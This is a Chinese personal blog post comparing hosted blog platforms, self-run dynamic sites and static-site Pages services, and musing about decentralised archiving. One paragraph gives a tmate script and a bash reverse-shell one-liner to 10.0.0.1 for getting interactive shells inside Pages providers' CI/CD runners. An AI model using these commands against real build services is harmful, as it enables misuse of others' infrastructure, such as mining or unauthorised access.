---
layout: post
title: 如何选择合适的博客平台
tags: [博客]
---

  记录，也有很多种方式。<!--more-->    
  
# 起因
  我建立这个博客也有3年左右的时间了，为什么现在会想写这样的文章呢？主要是现在各种各样神奇的服务和概念出现，不得不让我仔细分析其中的奥秘，而且在这几年我也有了一定的成长，也发现了很多有趣的东西，另外最主要的是我想实现Mayx Forever计划，所以研究一下不同平台之间的差别。   
  
# 不同博客的特点
  作为博客，它的本质也不过是一个用来记录和展示自己写的文章的程序。另外从作者来说，一般也分为平台托管、动态网站和静态网站三种。所以今天我就从这三点来分析一下。
## 1、平台托管
  平台托管即没有程序的所有权，仅有平台提供功能的使用权。这也就是说数据库、处理程序和界面通常都是由平台提供，博主几乎没有修改它们的权力，这也说明博主在这里几乎除了写文章之外什么也做不了。不过有些博客平台会提供界面的修改权，一种是仅能从有限的模板中选择，另外一种就是允许博主自己写CSS和JS来操作界面，这种自由性更高，不过因为这样通常比较危险，大多数博客平台是不提供这种功能的。   
  这种博客对不太懂计算机，或者只想写文章的人比较友好，基本上只需要注册账号，平台就允许你写文章并发布了，而且一般都有自带的评论系统，良好的文章编辑器，大多数都免费，相对还是很友好的。比较常见的有Blogspot(Google Blogger)、WordPress.com、FC2、博客园、QQ空间、微信公众平台、Bilibili专栏、CSDN等等。从自由度来说，在这些平台中有些是允许自定义域名的，这种算是比较良心的平台，另外也有花钱就能自定义域名的，可惜中国的平台均不支持自定义域名，另外国内的平台均有非常严格的审查，平台可以随意的处置你的文章，不过国外的好多博客平台都被中国防火长城拦截了，没办法用。当然也不是说国外的博客没有审查，大多数情况只要你不写对恐怖分子可能造成帮助的、带有儿童色情的、或者违反DMCA的，基本上平台都是不会管的。   
  所以从此来看，如果是懒得自己搭平台、不会搭、不想花钱、又希望国内的用户可以看到，还觉得自己写的文章能接受国内的审查，我个人建议使用博客园，博客园允许博主修改界面，相对来说比较自由一些。不过之前博客园炸过一次，我现在不是很相信他们了。所以如果想保留的更久一些，可能微信公众平台会更好一些，毕竟微信也算中国的国民级应用，一般来说很难倒闭。   
  如果不能接受审查，又希望能在中国访问，这个难度就比较大，WordPress.com这个可以碰碰运气，但是它有广告，不太推荐。不过基本上是做不到，毕竟国内平台必有审查，国外平台没有审查大多数情况都会有国内不能接受的东西，然后就会被Ban。所以平台也就是有这个缺陷，它的限制比较多。   
  如果不考虑国内访问的话，我觉得Blogspot是最好的选择，同样可以自定义界面，另外Google作为网络巨头来说也很难倒闭，所以如果追求稳定的话我觉得选择Blogspot是很不错的。
### 平台托管的网站示例
  我之所以写这篇文章也是因为试着用了好多平台，以下都是我注册的博客，如果有必要的话说不定我也会用它们：   
  <https://unmayx.blogspot.com/>   
  <https://unmayx.blog.fc2blog.us/>   
  <https://unmayx.wordpress.com/>   
  <https://mayx.cnblogs.com/>   
## 2、动态网站
  动态网站即界面是由程序根据数据库的内容实时生成，而且通常有一定交互性的网站。一般这种的博客都是脱离了平台的，所以这种算是独立博客了（静态博客也是）。这种博客一般数据库、程序和界面博主都有完全的所有权，所以自由度更大，而且因为程序在手中，所以想加功能也是非常简单的，比如加一个讨论或者爬虫的功能一般只需要安装插件就可以完成。又因为数据库也在手中，所以也不需要担心文章被删除的问题。既然这么好那么问题在哪里呢？那就是一般要花钱。建立动态网站通常需要服务器和域名，目前大多数的服务器和域名都不是免费的，所以动态博客有成本，在三种方案里是最贵的。   
  不过平台托管其实也是动态网站，为什么它就可以免费呢？其实原因很简单，首先是边缘成本的问题，租一台服务器是很贵，但是如果十个人共用这一台服务器就会便宜很多，又因为平台托管下的文章实际上是属于平台的，所以其实这波平台得到的更多，毕竟只需要租几台服务器，搭一个平台就能获得一大堆免费的劳动力在自己的平台上写文章。要知道杂志收录文章都是要花钱的，博客平台就光提供了个平台就把广告费、推广费啥的赚上了。   
  所以从这一点来看的话，为了保证自己文章的安全，自己搭博客更好，假如做的好，自己打广告钱也都是进的自己的口袋，这有点像小商店和电商的感觉了。不过大多数人写博客也不是为了赚钱，像我也不是为了赚钱写博客，到现在我写了几十篇文章也没人给我打赏😂。   
  目前来看大多数的博客引擎都是PHP或者Node.js写的，因为它们的性能很好而且扩展性很强。像全世界最流行的博客引擎[WordPress](https://github.com/WordPress/WordPress)就是PHP编写的。这里的WordPress和上面的WordPress.com平台不一样，这里的WordPress是开源软件，可以自己使用的一个引擎。像新手用WordPress就是一个很好的选择，它的功能很强大，操作起来也很简单，除了第一次部署PHP环境可能比较麻烦，剩下的写文章、换模板、装插件全部都可以在网页中直接操作，非常方便。另外也有很多PHP环境的虚拟空间，如果自己不想租服务器也可以直接租虚拟空间，这样也会更加便宜，操作也更简单。实际上也有些免费的PHP虚拟空间，不过现在是越来越少了，我用的几个都要消失不见了。Node.js的话倒是由于最近比较火，免费的还挺多，比如Glitch.me和CloudFlare Workers，另外Workers准确来说其实是云函数，算在Serverless里。另外我个人非常不赞同使用编译型语言写的博客引擎，比如Golang写的，这种的博客可扩展性非常差，而且性能怎么样也比不上静态网站，毕竟就算不考虑处理速度，Golang写的博客引擎能比C写的Nginx性能强？   
  不过自己建动态网站也有个缺陷就是性能会比较差，如果直接用服务器的话被攻击基本上都是直接宕机，除非用防火墙，国外免费的防火墙CloudFlare因为审查的原因速度又太慢了，国内的话防火墙又太贵了。另外虽然建独立博客没有审查，但是在国内的网站都需要备案，如果有比较敏感的内容还是会被撤销备案，而且服务器也有可能会被封，除此之外个人备案还有一个很糟糕的地方就是不允许使用带有交互性的功能，比如说评论之类的，这就导致在国内的实际体验可能还不如平台托管的好。   
## 3、静态网站
  静态网站一般也分为几种，第一种叫纯静态网站，即写的网站程序是纯静态的，如果写博客可能是由JS用AJAX来调用Markdown文件渲染的形式，这种一般会用SPA的形式，比较经典的例如[MDwiki](https://github.com/Dynalon/mdwiki)，可惜不更新了，这种的比较复杂，一般只有前端大佬会用，另外这种的SEO效果会比较差。第二种叫静态网页生成，这种和纯前端的区别在于它写的文件并不能直接发布，而是用一些生成器调用模板来生成可以发布的网页。这种的好处就是在上一种的基础上提高了SEO的效果，降低了网站的开发难度，也降低了对客户端性能的消耗。我目前的博客就是使用这种方案，用的生成器叫做[Jekyll](https://github.com/jekyll/jekyll)，除了Jekyll之外还有比如[Hexo](https://github.com/hexojs/hexo)、[Hugo](https://github.com/gohugoio/hugo)等等。第三种则是相对增强的，即前后端分离类型，把一些前端实在无法完成的任务交给后端来做。这里的后端可以是任何语言写的，比如我以前写的[博客计数器](/2019/06/22/counter.html)，也不限运行的方式，比如Serverless也可以。   
  由于近期前端很火，所以最近各种Pages服务就冒了出来，因为纯前端页面几乎不耗费服务器资源，所以很多公司都愿意免费提供这种服务。然后现在CI/CD也很火，结果就有很多Pages服务就把这些东西全绑上，形成了一套很完整的系统。比如说各种模仿Github Pages的Gitlab Pages、Gitee Pages，还有Vercel、Cloudflare Pages等等，可以说是百花齐放了。当然如果不想用这些服务，用自己的服务器上面架静态网站也没有问题。我当时用Github Pages做博客的时候还没有这些服务呢，当然我现在也不打算换就是了。   
  目前来看除了Github Pages是只支持Jekyll，不支持执行其他网页生成器之外，其他的服务都支持完整的CI/CD。不过Github有Actions，真想搞也不是不行，就是有点麻烦，像我以前做的[Pixiv索引](/pixiv-index/)就是基于Github的Actions+Pages服务做的。不过当时我做博客的时候也没有Actions来着😂，我当时做[Mayx的日报](/MayxDaily/)的时候就用的是第三方的Travis-CI服务。   
  不过既然有CI/CD，那就有滥用的风险，我以前试过用[tmate](https://github.com/tmate-io/tmate)连接过那些Pages服务的CI/CD，具体的话大家可以用以下脚本连接：
```shell
#!/bin/bash
# Generate ssh key if needed
mkdir ~/.ssh
[ -e ~/.ssh/id_rsa ] || ssh-keygen -t rsa -f ~/.ssh/id_rsa -q -N ""

# Run deamonized tmate
echo Running tmate...
chmod 777 ./tmate
./tmate -S /tmp/tmate.sock new-session -d
./tmate -S /tmp/tmate.sock wait tmate-ready

# Print connection info
echo ________________________________________________________________________________
echo
echo To connect to this session copy-n-paste the following into a terminal:
./tmate -S /tmp/tmate.sock display -p '#{tmate_ssh}'

while [ -S /tmp/tmate.sock ]
do
sleep 1
done
```
  这个方法是手头没服务器的用，不过不得不说tmate还挺好用的。有服务器的话建议用`bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`一键反弹，然后用python的pty库升级成正常的shell就行了。   
  我大概看了一下，Vercel的部署服务器性能貌似是最好的，Cloudflare Pages和Github Actions的配置一样，有可能都是用的Azure云，虽然有滥用的风险，但是不鼓励大家去滥用。像之前我就有看新闻说有些人用Github Actions挖矿，虽然这些服务确实让很多前端开发者享受到了便利，但是被滥用还是挺糟糕的。   
  不过今天讲的是建博客，有点跑题了😂。不过也正是那些限制很少的CI/CD，可以让我们很方便的去部署我们的静态网站，无论用npm打包js，还是自动爬取页面缓存，或者正常点，用Hexo生成博客，都只需要我们直接配置好，就可以直接使用了。   
  既然其他Pages服务那么好我为什么还在用Github Pages呢？这是因为Github可以部署很多仓库到网站。其他的Pages服务部署都是各自是各自的域名，但是Github Pages就能直接在同域名下访问其他我开了Pages服务的仓库。   
  不过静态网站虽然优点很明显，节省服务器资源，但是问题就是在于它不太适合小白，虽然说现在部署一个博客也很简单，去Github上面Fork一个自己喜欢的模板，然后再选择自己喜欢的Pages服务提供商配置一下就好了，但是首先Github对小白操作也不那么容易，搜模板不能像WordPress那样可以预览，能不能用全看作者怎么写的，另外写文章也没办法做到所见即所得，毕竟Markdown语法虽然很简单但是还是需要记的，不能点一下就OK，然后就是各种功能的实现也很复杂，像我博客上的[搜索](/2021/07/23/search.html)、[计数器](/2019/06/22/counter.html)、[加密](/2019/06/11/encrypt.html)、[评论](/2018/10/20/talk.html)实现起来都很不容易，不像动态网站那样直接CRUD一把梭，这些用动态网站实现起来就简单很多。   
  如果说大家想建一个可以在国内方便访问的静态博客，我个人建议用Gitee的，稳定性还不错。国外的话可能Cloudflare Pages更好一些，主要是我比较喜欢那个域名，就是部署的速度有点太慢了，访问速度还是挺不错的。   
### 我的Pages服务示例
  <https://mayx.pages.dev/>   
  <https://mayx.vercel.app/>   
  <https://mabbs.github.io/>   
  
# 可能是未来的博客类型
  无论是哪家服务，都有消失的可能性，多大的公司也可能会因为微小的概率而倒闭。所以以后有可能会出现一种不一样的博客平台，它可能是在IPFS上面的，前段时间我[研究去中心化的分布式系统](/2021/06/10/distributed.html)的时候也提到，到了未来说不定可以实现一个大家共同维护的系统。之前我有看见一个很有意思的项目[RSS3](https://github.com/NaturalSelectionLabs/RSS3)，这是一个可以在区块链上面开博客的协议，看起来还是挺有意思的，如果真的能实现，也许我就能完成我的Mayx Forever计划了呢😁。   
  
# 未来的计划
  我之后可能会想个办法把我的博客发布到上面我提到的所有平台，这样说不定只要人类文明还存在，我的博客就还存在吧😂。看看[GitHub Archive Program](https://archiveprogram.github.com/)和Mayx Forever Project哪个能存活的时间更长😁。
